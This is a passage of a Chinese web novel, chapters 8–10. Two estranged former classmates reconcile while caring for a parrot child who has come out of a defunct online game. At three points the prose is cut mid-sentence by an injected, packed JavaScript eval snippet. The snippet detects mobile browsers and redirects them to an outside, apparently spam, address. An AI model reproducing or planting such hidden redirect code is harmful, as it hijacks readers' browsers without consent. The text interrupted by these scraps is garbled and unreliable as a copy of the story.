宋锦路只能装看不到听不到,不动声色地将小家伙脑袋按下去,扯开话题:“但这事很诡异吧,游戏都已经关服了,我账号更是八百年前就删了,怎么游戏里的小鹦鹉突然——” “没删。”陆明檀打断。 宋锦路一愣:“……嗯?” “你的账号没删。”陆明檀再仔细说了一遍,“删除需要七天,后来我登过你的账号,取消了删除。” “…………” 当时宋锦路拉黑了陆明檀一切联系方式,还卸载了所有与游戏相关的东西,逃避心理达到顶点,哪里还有心思再去确认账号是否真有删除。 时隔五年听到,最多也是质问一句:“你凭什么乱登我的账号?” 可陆明檀很真诚地回答:“因为我不想你删号。” “……” “我以为你是一时生气,会有气消的那天。” 哪想五年过去了,这天都没有来临。 宋锦路脑袋乱乱的,想说很多话,想算旧账,想对陆明檀拳打脚踢,可真人在他面前了,他就不知道该做什么了。 看着眼前的陆明檀,只觉得又熟悉又陌生。 他心里所痛恨的陆明檀,跟眼前的陆明檀好像不是一个人了。 陆明檀说:“以前的事,很对不起。” 宋锦路冷笑一声:“对不起有什么用,不如来说说,以前那么戏弄我,是不是让你觉得很有趣?” 陆明檀说:“我没想过戏弄你。” 宋锦路当然不信,连白眼都懒得翻。 但当年情绪太炸裂,宋锦路完全不能接受,直接爆炸,两人还真没能好好谈过。 如今事情过去这么久,宋锦路也能忍着恶心讽刺一两句:“那样还不叫戏弄吗,现实那么讨厌我,游戏里却跟我网恋,难不成你就是有这样的特殊癖好?” “我没有讨厌你。” 宋锦路更觉得好笑:“这也是亲口对我说的吧,难道你还失忆了?” 8. 第 8 章 初中决裂的时候没算账,网恋翻车的时候也没算账。 宋锦路自己都没想到,最后会在这种情况下跟陆明檀算账。 但他就是忍不住,尤其陆明檀还否认,他更不能咽下这口气。 算账又怎么了。 做错的人是陆明檀,那他想怎么算就怎么算。 宋锦路抬起下巴看向陆明檀,他倒要看看陆明檀还能怎么编。 然而陆明檀只说:“我没有失忆。” 宋锦路:“……” 句句有回应,问什么答什么。 但应答的都是废话。 宋锦路沉默无语地等了一会儿,陆明檀才说:“初中那会儿,我是对你说过类似的话,但那不是我的真心话。” 宋锦路继续盯着陆明檀,没说什么,脸色明显充满怀疑。 “我没有讨厌过你,那时我很喜欢你。” “……” 宋锦路直接呆愣。 陆明檀说的自然流畅又无比突兀,他不敢置信,后背瞬间爬起一片鸡皮疙瘩的诡异。 “那时很多人看我不顺眼,一直找我麻烦,只有你主动对我好,你是最好的。” “……” “但要继续跟我在一起,你也会跟着倒霉。”陆明檀的语气毫无起伏,“对不起,那时没有更好的办法保护你,只能推开你。” “……” 宋锦路几经曲折的恨意跟不甘,追随他这么多年不得释怀,结果陆明檀轻描淡写几句,说其实是为了保护他? 更不甘心了。 也不能相信。 却又不知不觉相信,代入这项解释试着对应当时的情况。 宋锦路大脑高速运转:“……你骗谁呢,那你转学呢?老师说你可是出国留学去了呢,这也是几天就能搞定的?” 陆明檀依然淡定:“当时转学去你们学校,是因为我的父母在闹离婚,谁都不想要我,就把我扔去了那里。” 听到这种话,宋锦路心里又不是滋味,像逼迫别人割了一遍曾经的伤口。 他知道陆明檀父母闹离婚的事,当年陆明檀就说过,因为那时陆明檀一个人生活,家里只有两个保姆照顾他。 可陆明檀没说过,原来那时父母都不要他。 “但他们的财产分割不清,其中有几套房子最初是登记在我名下。” 陆明檀说:“就是那几天,我爸找到我,要我配合将房子给他,我没肯,他便把我关了起来。” “……” “有点混乱的几天吧,后来我进了医院,是我妈把我救出来的。” 虽然省略了过程,但宋锦路可以想象发生了什么,才会让陆明檀进医院,又让他用了“救”这个字。 “那时我小姨生活在国外,我妈想保护我,就把我送到小姨那去了。”陆明檀解释,“所以并不是什么潇洒的留学,最初的生活也极不适应,过了很久才稳定下来。” “……” 话说到这份上,是很难编造的程度了。 换句话说,如果陆明檀是为了宋锦路编出这些事来,那才是真需要去医院看看脑子了。 宋锦路心里信了大半,但还是要问:“……就算这些事全是真的,那在游戏里呢?你为什么要隐瞒我?” 陆明檀摸着方向盘,似乎不太自信的心虚了。 过一会儿才说:“开始是想告诉你的。” “别说这种屁话。” 陆明檀沉默几秒:“那时我的生活终于稳定下来,我很想找你,又怕这么多年过去,贸然出现太突兀,你也不会原谅我……毕竟我们相处不过几个月,告别却那么潦草,我想你心里一定讨厌我。” 那陆明檀真是猜对了。 何止讨厌,起初宋锦路都恨透了他。 “是看到在你朋友圈发了玩的游戏,我就想,可以先在游戏里找你,之后慢慢再跟你解释。” 凭着游戏截图的蛛丝马迹,陆明檀找到了宋锦路所在的游戏区服,所加的帮会,又对着角色职业跟残缺的昵称,找到了几个疑似宋锦路的账号,最后经过对话相处,确认了宋锦路本人。 而陆明檀最初的打算也没什么错处,只是世事无常,谁都没能料想到后续走向。 “我的计划很顺利,我们在游戏里也成了朋友,但感情越来越好,我反而越不敢告诉你真相。我怕你更生气,怕你还是不能原谅。” 客观事物发展规律可控,人的感情变化却不可控。 “再后来,你说喜欢我,想跟我做——” “停停停,可以了!” 宋锦路赶紧打断,不能接受陆明檀嘴里说出这些黑历史。 “我也喜欢你。” “……” 宋锦路僵住。 “会答应是因为我也喜欢你,也是因为喜欢你,所以越来越不敢说出真相。” 陆明檀认真说着:“我从没想过要戏弄你,只有喜欢你,是我不能处理好这些情况,才搞糟了一切。” 宋锦路还在僵住。 当年没能好好说话,没能算账,爆炸的情绪冲昏了一切理智,直到眼下从陆明檀口中听到这些,才惊觉好像真有这种可能。 可又该说什么呢? 造化弄人?可惜? 宋锦路不知道。 因为过去太久了,眼前的陆明檀早已不像他当年恨的人,更不像他年少时心动的那个人了。 宋锦路只觉得大脑好像有点麻木,心口也是麻木的,反应了一会儿后:“……那你后来,这些年,就没想过跟我解释?” “你说过让我别再出现。” “……” “但我还是在偷偷视奸你。” “…………” 好一个视奸。 被陆明檀用如此正经认真的语气说出来,简直透着股说不出的诡异。 宋锦路抿抿嘴唇,他是说过让陆明檀别再出现这种话——何止是别再出现,还说要杀了陆明檀,把他大卸八块呢。 也就陆明檀会当真了吧。 毕竟他的社交能力堪比一根香蕉,正如他本人所说,他确实不具备处理这类情况的能力。 耿耿于怀这么多年,始终难以放下的内心桎梏,没想到真掰开来说了,竟只是一场被命运戏弄的错位。 宋锦路沉默的沉重。 站在陆明檀的立场上来看,似乎……还真没太大问题? 因为他不知道自己曾对他有过的年少心动,自然就不能知道自己对此有多受伤有多介意。 游戏里的隐瞒欺骗,压在自己心头是不可原谅的背叛,但实际陆明檀的担忧也情有可原。 当然—— 这一切的前提是陆明檀所说不假,没有半点艺术加工成分。 而宋锦路就算真能代入这些情况为陆明檀着想,可介于陆明檀先前有过的隐瞒行为,他还是决定保持怀疑态度。 气氛沉默着陷入一种微妙尴尬。 暂时谁都没开口。 直到宋锦路的手机铃声响起,打破沉默,他拿过手机一看,竟是房东的电话。 七点二十分? 这么早给他打电话? 虽然宋锦路今天已经醒来,但还是对这么早的电话感到不敢置信。 “喂?” 房东的大嗓门响起:“小宋啊,你起床了吗,八点有人来看房。” “………………” “放心,不进你卧室,你可以继续睡着,我们只在外面看看,可能会发出些声响,你别害怕,我来提前跟你打声招呼。” 宋锦路没忍住:“你要带人来看房,至少先经过我同意吧?现在我还住着,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228799|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一有什么私密物品放在外面,你这样带人进来合适吗?” “那你赶紧收收吧,真让人看到可不好。” “…………” 宋锦路差点气笑了:“八点我准备去客厅拉屎,你们想看的话就来吧。” 房东一顿:“哎呀小宋,别这样嘛,那房子要卖了,总要让人家先看看嘛,这不是很正常吗?” “那我在客厅拉屎也很正常,我还不收你们参观费呢。”宋锦路冷笑,“既然你不尊重我,那我就在客厅拉屎,就这样。” 说罢,宋锦路直接挂断电话。 生气。 陆明檀虽没听清房东说了什么,但根据宋锦路说的话跟反应,大概也能猜到。 陆明檀问:“是房东在找你麻烦吗?” 正好能将原本的话题扯开,宋锦路就回答了:“勉强算是吧……他要卖房子嘛,所以带人来看房。” 陆明檀思考了一秒:“那你要搬家了?” 宋锦路叹气:“是啊。” “找到新房子了吗?” 宋锦路心底警觉起来,这次他绝对不会让陆明檀知道他的住址了。 “还没呢,才正要开始找,现在租房子也很麻烦的……” 万一陆明檀说要帮忙,他绝对不会上当。 结果陆明檀说:“那你可以搬来跟我住。” 宋锦路不敢相信自己听到了什么。 “……啊??” “我住得离这边不远,大概就20分钟,我可以带你过去看看。” 人全在车内,陆明檀说完就启动车子,一脚油门直接动了起来。 宋锦路满脑门问号,不敢相信自己听到了什么,同样不敢置信陆明檀在做什么,几秒后才反应过来。 “……等一下?!等一下!!你知道自己在做什么吗?!” 脑子还清楚吗?? 是不是疯了?? 陆明檀动作利落迅速,片刻之间就驶出了停车场,冬日早晨七点半,天光微微亮,空气里弥漫着冻人的寒意。 “知道。”陆明檀语气依然镇定,“我一个人住,你正好可以搬过来。” “…………” 宋锦路服了。 这是正好不正好的问题吗?按照他们的恩怨过往,正好这词都不该出现在这里吧? “……你疯了吗?我们是能住在一起的关系吗?你觉得合适吗?” “哪里不合适?”陆明檀问。 “……” 宋锦路也没料到他敢这么问。 更没想到,这么问完了,陆明檀还问:“你是还在介意过去的事吗?” “……” 宋锦路心里肯定介意的要死。 哪怕陆明檀已经解释了一大堆,可曾经那么多情绪怎么可能说放下就放下。 而且他也没说要相信啊,万一陆明檀是在骗他呢! 但陆明檀直接这么问了,尖锐明晃晃地问出来了,宋锦路就心虚了,好像回答介意就成了一种变相的认输。 宋锦路只能咬紧后槽牙,倔强地不肯承认自己就是在介意。 “对不起。”陆明檀又道歉,“过去的事情,是我没能处理好。” “作为迟到的补偿,我不会收你房租。” 宋锦路想说这也不是房租的问题。 陆明檀说:“而且善善也希望我们三个住在一起吧?” 瘫软在宋锦路怀里,前一秒还虚弱苍白的小家伙,下一秒竟大声应道:“爸爸,爹爹,在一起!宝宝,在一起!” “……” 陆明檀余光瞥了眼:“善善好多了,看来真是技能冷却时间,不用担心了。” “……” “而且发生这种超自然事件,我们总要想办法解决,住在一起会更方便观察研究。” 9.第 9 章 事情走向突然变得很诡异。 按照原定计划,宋锦路将孩子交给陆明檀后就该潇洒离去,从此无娃一身轻。 结果不仅没将孩子送出去,自己还被陆明檀带走了……陆明檀还要他搬过去一起住? 一起住? 他们一起住?像话吗? 但陆明檀一脚油门直接走了,小崽子满血复活大力支持,宋锦路胆子再大也不敢上手争夺方向盘或是上演惊险的跳车戏码。 于是在大脑一片茫然混乱的状态下,车子抵达终点,比预计时间还快了五分钟,距离确实不远。 一桩半旧不新的独栋小别墅。 面积不大,估计百平左右,但有三层,从外面看很不错。 “到了,先进去看看吧。” “……” 不对不对。 这真的很不对。 他怎么都不可能跟陆明檀住到一起啊……他们俩能研究观察什么? 研究小家伙一天到晚是如何捣蛋的?还是观察小家伙一天能闯多少祸? 干脆下车后拔腿先跑吧? 但想象一番背影画面,多少是有些狼狈且可笑了。 宋锦路捏着安全带没动,小鹦鹉宝宝生怕他逃跑似的,也像个敦实的小石墩子压在宋锦路怀里,紧张地不敢动。 陆明檀又说了一遍:“下车吧,先看看你是不是满意,万一你不满意呢?” “……” 也是。 到时找个不满意不适合的借口回绝就好了。 宋锦路终于能松一口气,可算硬着头皮下车了。 小鹦鹉宝宝则黏在宋锦路怀里,四肢并用牢牢将他抱住。 想起自己原本打算逃跑的计划,宋锦路庆幸还好没实施——怀里抱着这么个小家伙,怕是没跑几步就得被陆明檀追上,想想就很尴尬。 房子内部面积不大,不过摆放的家具也不多,整理又很干净,因此视觉效果宽敞,向阳光线充足,空气流通,明亮而温暖。 空间小便不再是缺点,反而充满敞亮的安全感。 “房子小了点,算不上什么别墅,不过有三层,够一家人生活。也没有上下邻居困扰,很安静。” 这点安静也是很大优势。 不用担心打扰到别人,也不用怕被别人打扰,不管几点都能想干嘛就干嘛。 而且宋锦路也不觉得房子小,他一个人租房还没这么大呢。 “二楼三楼都有卧室,我平时睡在二楼。一楼有两个书房,其中一个是闲置的,你喜欢的话,可以改造成电竞房。” 全屋智能家电,还装了地暖,闲置的房间也很干净,向阳通风,在一楼大致看了看,宋锦路内心很酸。 这简直是他的梦中情房。 看到仇人过得比自己好,年纪轻轻就坐享这种房子,比自己死了更难受。 宋锦路酸不溜丢地说:“……我花钱来改造你家,我没事吧?” 陆明檀一笑:“那我来花钱,算是我的补偿。” “……” 够了。 内心警戒线高度亮起,在不断警示宋锦路——该找借口离开了,再不走真要被蛊惑了。 可怀里的小家伙已经被蛊惑,进门就从宋锦路怀里飞出去,满屋溜达,熟得像是回家,对哪都很满意。 就在宋锦路要找借口溜走之际,小家伙落在他们面前变回人形,大喊道:“饿饿,饭饭!” 小鹦鹉宝宝饿了。 小鹦鹉宝宝需要食物。 陆明檀很自然地接上:“也对,这么早起来,你们还没吃东西吧,善善想吃什么?” 小鹦鹉宝宝高举双手:“面面!呼噜呼噜,面面!” 词库有限,可表达鲜活生动。 陆明檀笑了笑:“好,那我去煮面。” 又说:“这里还有水果,善善要先吃点吗?” 小鹦鹉宝宝欢快应道:“善善来啦!” 宋锦路:“……” 错失良机。 这个小绊脚石。 将小鹦鹉安顿好后,陆明檀进了厨房,宋锦路左思右想都不对,最后还是跟着进了厨房。 宋锦路偷偷打着腹稿,想说既然孩子这么喜欢你,那就交给你了,我先悄悄撤退吧,你家后门在哪? 无奈犹豫间再次错失良机,陆明檀先轻声说道:“善善想让我们在一起,应该是有什么目的吧。” “……嗯?” “我的直觉。”陆明檀说,“他不该出现在这个世界,或许是需要我们在一起做什么事,才能将他送回去。” “……送回去?” “嗯,难道不该将他送回去吗?” “……” 宋锦路没想过。 发生这件事后,他的理智也没允许他认真冷静思考过这些。 而且光想有用吗? 这种超自然事件,他想破脑袋也想不出解决办法。 陆明檀猜测:“或许是我们的游戏数据出现了问题。” 宋锦路皱眉:“……可是游戏都停服很久了。” 虽然没有关闭服务器,玩家们依旧能登陆上线看看角色,但除了逛地图换外观其他什么都不能做,没有任务没有互动,照理也不可能再出现什么漏洞bug了。 宋锦路说:“就算真有问题,我们也很难做什么吧,官方程序员都跑路了,不可能修复的……而且这种事你敢告诉别人吗?反正我是不敢,我连我爸妈都不敢说。” “不说是对的。”陆明檀道,“也许善善不能被发现身份,否则就要被消除了。” 宋锦路瞪大眼睛。 “我想这种事不会是个例,我们不可能是全世界唯一的见证者,可先前从未听说过,也许就是这类情况有非常残酷的运行法则。”陆明檀说,“毕竟善善只是一串代码构成的数据,一个删除键就能彻底销毁。” “……” 那条活泼灵动的小生命,就在他身旁,会说会笑,可论其本质,只是一串冷冰冰的代码,是虚假的,是死的,消除只用按一下delete键。 “我觉得最好的处理方式是找到他来这里的目的,然后将他送回去,你觉得呢?” 宋锦路觉得心里空空的。 他总想表现得很不在意,说些冷酷无情的话,可真被陆明檀冰冷科学的态度一压,还是放不下情感。 “……我觉得,你说的很有道理。” “嗯,那就好。”陆明檀说,“所以我们应该一起观察研究,他表达能力这么糟糕,只能将目标条件藏在日常言行中。” 有据有理。 但—— “但是我们……真不能住一起……” “为什么?” 宋锦路叹气:“我怕我真会忍不住杀了你。” 陆明檀面不改色:“恨我恨到这种程度?” “唔……” 可真专挑这点出来说的话,宋锦路又觉得不至于如此。 “但住在一起,我们才能跟孩子在一起。”陆明檀说,“他会说的话不多,却不停重复这句话,那么不是重要条件,就是重要提示。” 宋锦路抿抿嘴唇,回答不出了,转移话题:“……你为什么,这么冷静?” 却也是心底的真实想法。 从见面到现在,陆明檀只在最初有过几秒诧异,随后便镇定自若,自然得像是久别重逢。 并且在这么短的时间内,陆明檀仅凭一点点已知信息,不仅做出了靠谱的猜测,还能给出后续调查方向。 可怕到像是AI。 陆明檀说:“事情已经发生了,情绪怎么样并不重要,重要的是该怎么解决,不是吗?” “……” 是这么个道理没错。 宋锦路想起很久以前,陆明檀也是这样的性格。 他很有处理问题的能力,不管发生什么,都冷静的像是旁观者,很难有过大情绪动荡。 因此也显得冷血无情。 因为人类是有情感需求的,当人需要安慰需要鼓励时,陆明檀这性格就让人受不住了。 但从陆明檀身上找回这种冷血无情的感觉后,宋锦路心里反而舒服了些。 虽然陆明檀的提议突兀冒犯,但都是为了处理孩子的事。 陆明檀只是这么想了,没有考虑别人的死活,这就是他一贯的风格。 “好了,先吃饭吧。” 边跟宋锦路说着话,陆明檀手上的活也没停下,已经将面煮好。 看似普普通通的鸡蛋青菜面,只额外加了几个大馄饨,但荷包蛋是用黄油煎的,汤底还加了虾皮紫菜,闻着就鲜香扑鼻。 小鹦鹉宝宝前一秒还美美吃着水果,听到面煮好了,火速跑到餐桌前就位,爬椅子的动作娴熟敏捷,看上去也很自然,仿佛天天在这里爬。 “面面!面面!啾啾啾啾啾!” 眼眸水灵灵的发亮,全身都写满了期待,但很乖乖地坐好了等着分配,没有动手夺食。 “爹爹,喜欢,亲亲!木阿木啊!” 谁投喂就喜欢谁。 小家伙毫不吝啬地表达着自己的喜欢。 陆明檀轻笑:“来,这是善善的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230371|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“善善的,面面!喜欢!” “嗯,小心烫,慢慢吃。” 宋锦路看着,感觉又有些割裂。 只从表面看,他们就像一对感情深厚的父子——至少小家伙是真心喜欢陆明檀,天天吵着要找他。 陆明檀看上去也挺温柔,可在小家伙看不到的地方,他将小家伙的存在当成一个“问题”,已经计划着该怎么“解决”了。 这边没有儿童筷子,小家伙只能用大人的长筷子。 起初宋锦路还担心小家伙握不住,结果倒是多虑了,使用是没那么熟练,但慢慢地吸溜一碗面条不成问题。 “呼呼——呼呼——” 刚出锅的汤面还烫,小家伙边吹边吃,眉眼之间全是对食物虔诚的热爱。 一口含进整个馄饨。 嘴里嚼吧嚼吧,娇小的身躯情不自禁扭来扭去,好吃到全身摆动。 “面面,好吃!爹爹,喜欢!” 正确语序应该是爹爹做的面很好吃,他很喜欢。 不确定陆明檀有没有听懂,但他很温柔地应道:“善善喜欢就好,慢慢吃。” 看小家伙无忧无虑地吸溜面条,宋锦路心底又泛起几丝微妙的愧疚。 就是觉得很对不起他。 不管他是不是数据组成的虚拟产物,此时都是真实存在的。 有感情有思想,是独立的,鲜活的一条命。 可自己嫌他吵闹,想将他丢给陆明檀便不管了。 陆明檀也一样,看似接受良好,温柔体贴,实则是想着解决他,要将他送回去。 如果知道他们心里有过的真实想法,小家伙会是什么反应? 会很伤心吧,说不定还会崩溃吧…… 陆明檀看向宋锦路:“你也吃吧,我厨艺不差的。” “……” 宋锦路心底默默叹气,也不明白自己怎么又在陆明檀这里吃上饭了。 但端都端过来了,那就吃吧。 “……谢谢。” 报仇是报仇,道谢是道谢,平白吃人家一顿饭,基础礼貌不能落下。 大早上起来,一口水还没喝,虽然也没什么体力消耗,但不断心力交瘁下,宋锦路也是真饿了。 来都来了。 人都坐下了,面也煮好了。 宋锦路也不矫情了,就当陆明檀伺候他的,先吃吧。 面条带点韧劲,煮的软硬适中,馄饨皮薄馅大,里面是马蹄肉末馅,咸淡正好,汤底鲜美,还带有股淡淡的黄油香。 吸溜几口面条,热乎乎的汤水下肚,宋锦路糊涂混乱的脑子都清明了——食欲被满足的效果如此直观,不管何种境地,好吃就是好吃,内心也迅速得到治愈安抚。 没想到陆明檀的厨艺这么好。 一碗面看着也没特别之处,可就是跟外面卖的不一样,是只有家里才能烧出来的味道。 难怪小家伙吃得这么投入。 天天吃自己的黑暗料理,这对小家伙来说堪称国宴吧? “怎么样,还合你胃口吗?” “……嗯,很好吃。” 吃人嘴软,恩怨暂且放放,宋锦路给出真心诚意的好评。 “那就好。”陆明檀说,“以前我就说过,我做饭很好吃,可以做给你吃。” “………………” 宋锦路差点连面带汤全喷了。 根本看不透陆明檀说这话是什么意思——主动找死?非要哪壶不开提哪壶? 故意找茬都说不出这种话吧? 好在小家伙在场,气氛没有沦落尴尬。 因为他已经呼噜呼噜扒干净了碗里的东西,只剩下汤底,捧着碗冲陆明檀喊道:“爹爹,善善还要,面面!” 第一次听到小家伙造出这么完整的句子,宋锦路不敢置信,不愧是国宴,调理效果堪比食补。 而陆明檀接受小家伙穿越次元的事情只需几秒,但看到小家伙的超快吃速跟超大食欲,愣了至少十来秒。 最后看向宋锦路,怀疑地问:“他可以吃这么多吗?” 宋锦路很难不觉得好笑,原来陆明檀也会有这种表情。 面上很冷静:“他胃口就是这么大,再吃两碗都没问题。” “善善的,面面!” 陆明檀:“真的吗?” “面面!面面!” 宋锦路:“真的,我骗你做什么?” “面面!面面!” 宋锦路说:“一直都只有你欺骗隐瞒我,我可从来没骗过你。” “面面哦!面面!” “……” 10.第 10 章 宋锦路不是故意要刺激陆明檀,但气氛到了,话就自动从嘴里跑了出去。 陆明檀听完沉默,还不能反驳什么,只能默默起身,将剩下的面连锅一起端来。 “哇——面面!面面!” 只有小鹦鹉宝宝很开心,压根没关注爸爸跟爹爹在说什么,满眼里全是对美味面面的渴望。 陆明檀又为小家伙盛了一碗:“善善吃吧。” 小鹦鹉宝宝欢快应道:“善善吃啦!” 撇开背后的现实问题不谈,眼前这幕看着很是父慈子孝。 有那么几秒,宋锦路竟觉得要一直这样下去也不错。 本来小家伙就不是他一个人的孩子,让陆明檀一起照顾完全合情合理。 而且陆明檀的房子确实不错,要真搬过来,同时也解决了他另一桩大麻烦。 但宋锦路很快又全盘否定——怎么回事,陆明檀在面里下迷药了?才几口就给他吃出幻觉了?世界毁灭他们也不可能住到一起啊! 不过也是这么想到了,心底深处有个邪恶念头开始悄悄滋生。 各自沉默地吃了几口后,宋锦路问:“……等会儿你有事吗?” 陆明檀道:“八点半有个视频会议,在家开。” 通宵工作还要继续开会,这工作强度着实令人害怕。 但宋锦路不可能再传递一丝一毫会被当成关心的含义。 宋锦路:“……哦,我等会儿要去医院看我爸,你暂时照看一下善善吧。” “宋老师住院了?” “嗯,年纪大了,有点小病小痛在所难免。” 宋锦路含糊其辞转移话题。 “我先去看我爸,然后再来讨论搬家的事情吧……” 宋锦路努力轻松着语气:“我想了想,我搬过来也不是不行,其实你刚才说的那些挺有道理……而且不管怎么说,你都有义务一起照顾善善!” 宋锦路邪恶地算计着,无论如何,今天一定要将小家伙留给陆明檀。 但怕小家伙再吵再闹阻拦,所以先用温和的说法稳一稳。 之后只要他离开这里就好了。 反正他人已经走了,小家伙也给陆明檀了,陆明檀又不知道他到底住几楼哪间,终究是拿他没办法的。 而且宋锦路这话的误导性也强,听上去像是要答应的样子,实际没有半点准头。 再说了,就算宋锦路真答应了又如何?空口白牙的,没有任何保障,谁当真谁是蠢蛋。 最多有些心虚。 毕竟是在做坏事,宋锦路说的时候不敢跟陆明檀对视,只能一边吸溜面条,努力给自己找点事做。 不知陆明檀是什么表情,好在最后听到了陆明檀的答应:“好。” 宋锦路这才松口气,能抬头看看小鹦鹉,再快速看一眼陆明檀。 没话找话。 “嗯……有空的话,你也问问善善,他来这里是什么目的,要遵循什么条件……可能我之前问的方法不对吧,反正我什么都没问出来。” 再看一眼小家伙。 整张小脸恨不得全埋进饭碗里,专心致志吸着面条,两耳不闻其他事。 “好,我会问问的。”陆明檀应下,“等下我送你去医院吧,顺便拜访一下宋老师,当年他也很照顾我。” “……” 宋锦路差点一口气憋死。 赶紧忍住。 “不用客气,我们之间没这样的必要。” 宋锦路看了眼小鹦鹉,暗示陆明檀:“我们现在……仅剩的交集是什么,你应该很清楚吧?” 陆明檀抿了下嘴唇,看不出懂没懂,没说话。 宋锦路当他懂了,无情地说:“就算我真搬过来,也只是为了共同目标……不代表我们之间的……你懂的,那些事不可能一笔勾销,只是现在都过去了,我暂时愿意放下罢了,你最好别会错意,更别得寸进尺。” 陆明檀应了声:“嗯,我知道。” 语气平静毫无起伏,但勉强也能算诚恳,至少没跳起来顶嘴。 宋锦路还算满意:“就是这样,剩下的之后再说,我们有很多事情要先说清楚。” 心里偷偷补充,如果还有这个“之后”的话。 “好。”陆明檀应下,“那你大概什么时间回来?” 心里早已决定有去无回,不过宋锦路演戏演全套:“等中午之后吧,我跟他们一起吃个午饭。” “好。” 而在改变战斗策略后,效果也是立竿见影。 这回宋锦路说要走,小鹦鹉宝宝就没再胡乱闹腾,也没动用超能力锁门控制了。 虽然还是用力拉着宋锦路衣角,依依不舍了很久都不放,但在宋锦路昧着良心的虚假保证下,最终被陆明檀管住,含泪放开宋锦路。 哎。 走吧走吧,赶紧走吧。 宋锦路难以描述此刻的心情,很复杂,明明在做自认没错的事,可心底总泛起亏欠的歉意,好像他做错了什么。 这么对小家伙,会不会太无情了…… 但他真不可能跟陆明檀住到一起啊,也不能只让他一个人带孩子啊…… 他们最多就像破碎的离异家庭,两个人轮流带孩子吧…… 而且他也不能就这么信了陆明檀的故事吧? 虽然这故事听上去是有些可信度,各种细节逻辑也对得上……可万一又是陆明檀的谎言呢? 要再被陆明檀骗第三回,那他趁早勒死自己算了,再活下去真成浪费氧气了。 可如果陆明檀没有撒谎…… 那么多事,落在他当年同样稚嫩的肩膀上,他是以什么样的心情在面对呢…… 不对,等等—— 可是就算陆明檀那些年真不容易,那他就活该被陆明檀欺骗吗? 撇开初中的绝交不说,他可以理解陆明檀未成年时的处理能力不足,那大学时期的网恋呢? 那么漫长的日日夜夜,都是陆明檀可以坦白的机会,他为什么非要拖到拖不下去了呢? 回想起当年隔着网线说过的甜言蜜语,宋锦路只剩毛骨悚然,恨不得拿头哐哐撞墙。 这一大早的,太多信息塞进脑子,塞得宋锦路混混沌沌失去判断力,神志不清地抵达医院。 换了环境,注意力转移,这才清醒些。 不过宋锦路到的时候,病房里面空空,宋经康跟岑雪云出去散步了,他等了半小时,两人才回来。 再见面,起初气氛还是有些僵硬的尴尬,但对比前一天已经缓和很多。 宋锦路先问了些有的没的,见父母没了要跟他对抗到底的气势,才进一步询问手术细节。 “医生倒放心的,是你爸钓鱼认识的朋友,退休前是这家医院的副院长,这次动刀的医生就是他徒弟。”岑雪云说,“医生人也很好很负责,趁着这回折腾,顺带让你爸把全身检查都做了。” 宋锦路关心地问:“结果还好吗,其他应该没问题吧?” “其他都还行,就是肺不太好了。”岑雪云哼道,“天天抽烟,你说能好吗?” 宋经康接上:“年纪大了都这样,器官自然老化,不抽烟也会这样。” 岑雪云微怒:“臭老头还嘴硬,非要给你肺烂穿了才肯承认?” 宋锦路连忙缓和:“……爸什么时候开始钓鱼的呀,钓钓鱼是挺好的。” “也只好去钓钓鱼了,不然我还有别的事做吗?”宋经康道,“别人退休都带孙子孙女去了,我能带什么?” “……” 是没昨天那么凶残地要将宋锦路赶出去了,但一言不合还是没给宋锦路好脸色。 宋锦路抿抿嘴唇,一时没敢回答。 场面沉默两秒后,岑雪云装作无意地试探:“这么说起来……昨天那孩子呢?你一个人过来……孩子放哪里去了?” 宋锦路说:“他太调皮了,带来医院太闹腾,我就放……放朋友那里了。” 即便是背后,即便是谎话,但要说陆明檀是朋友,宋锦路还是觉得烫口。 岑雪云忙问:“什么朋友,靠谱吗?” “……靠谱,很靠谱。” “什么时候认识的朋友,关系这么好吗,怎么还能帮你带孩子?” 岑雪云的询问没有停止。 “难道对方不用上班吗?对了,男的女的?” “……” “昨天吓死我们了,也没能好好问,后来仔细想了想,既然孩子都有了,你还是老实跟我们交代吧,到底是哪里来的?” “……” 宋锦路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235817|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真回答不出。 编理由都不知道该怎么编。 但今天宋锦路学聪明了,没有像昨天那样直愣愣地乱说,而是委婉地拖延:“……这事就说来话长了,等爸做完手术了,我再好好跟你们解释吧。” 岑雪云跟宋经康对视了一眼,岑雪云接着问:“怎么还要长话短说,难道这孩子的来历不光彩?” 宋锦路有点懵,孩子的来历能怎么不光彩,总不能是他偷来拐来的吧? “……当然没有。” 岑雪云眉眼严肃:“你就说实话吧,这不会是你骗人家小姑娘骗来的吧?” 宋锦路:。 宋锦路:。。。 原来是这个不光彩啊。 真没想到父母竟会在这方面怀疑他。 宋锦路很是无语,又很难辩解——毕竟他作为一个不能生孩子的雄性物种,还有其他方式获取孩子吗? 宋锦路无声叹气:“没有,这就更不可能了,我是这种人吗?” 